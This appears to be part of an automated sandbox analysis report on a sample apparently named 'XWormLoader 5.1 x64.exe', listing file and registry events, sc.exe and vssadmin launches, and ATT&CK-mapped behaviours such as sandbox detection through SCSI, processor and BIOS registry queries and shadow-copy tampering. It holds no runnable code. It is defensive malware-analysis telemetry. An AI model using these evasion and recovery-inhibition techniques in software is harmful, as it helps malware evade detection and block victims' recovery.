File created	C:\Windows\SystemTemp\~DF5B5679AAE606C48E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI30C.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\e58eb87.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF039D0D2B06756237.TMP	msiexec.exe
File created	C:\Windows\inf\oem5.inf	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSI16D5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1705.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF548F2F8E879792EC.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF6F1.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF46464373A5FC5C72.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8274048B-FF59-47CC-802A-8A7E6325D2D5}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF3F6.tmp	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Installer\MSIEE05.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF30B.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	MsiExec.exe
File opened for modification	C:\Windows\inf\oem5.inf	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSI4E1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{8C17366B-843B-49DC-AC1B-748DC264E06F}\ProductICO	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File created	C:\Windows\Installer\e58eb84.msi	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\inf\oem3.inf	DrvInst.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
588	sc.exe
4116	sc.exe
5192	sc.exe
6264	sc.exe
5412	sc.exe
3380	sc.exe
5156	sc.exe
3876	sc.exe
6308	sc.exe
4252	sc.exe
7132	sc.exe
4580	sc.exe
7028	sc.exe
3812	sc.exe
3952	sc.exe
3860	sc.exe
5464	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qwadvk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qwadvk.exe

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\LowerFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\UpperFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\LowerFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\UpperFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Filters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Service	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\LowerFilters	DrvInst.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Phantom	DrvInst.exe

Checks processor information in registry 2 TTPs 39 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	XWormLoader 5.1 x64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	XWormLoader 5.1 x64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	XWormLoader 5.1 x64.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6548	vssadmin.exe
6396	vssadmin.exe
2588	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000\Software\Microsoft\Internet Explorer\TypedURLs	XWormLoader 5.1 x64.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RAS AutoDial\Default	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\msiexec.exe	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\Telemetry\msiexec.exe\JScriptSetScriptStateStarted = "240714781"	MsiExec.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133847771105955739"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings	MsiExec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
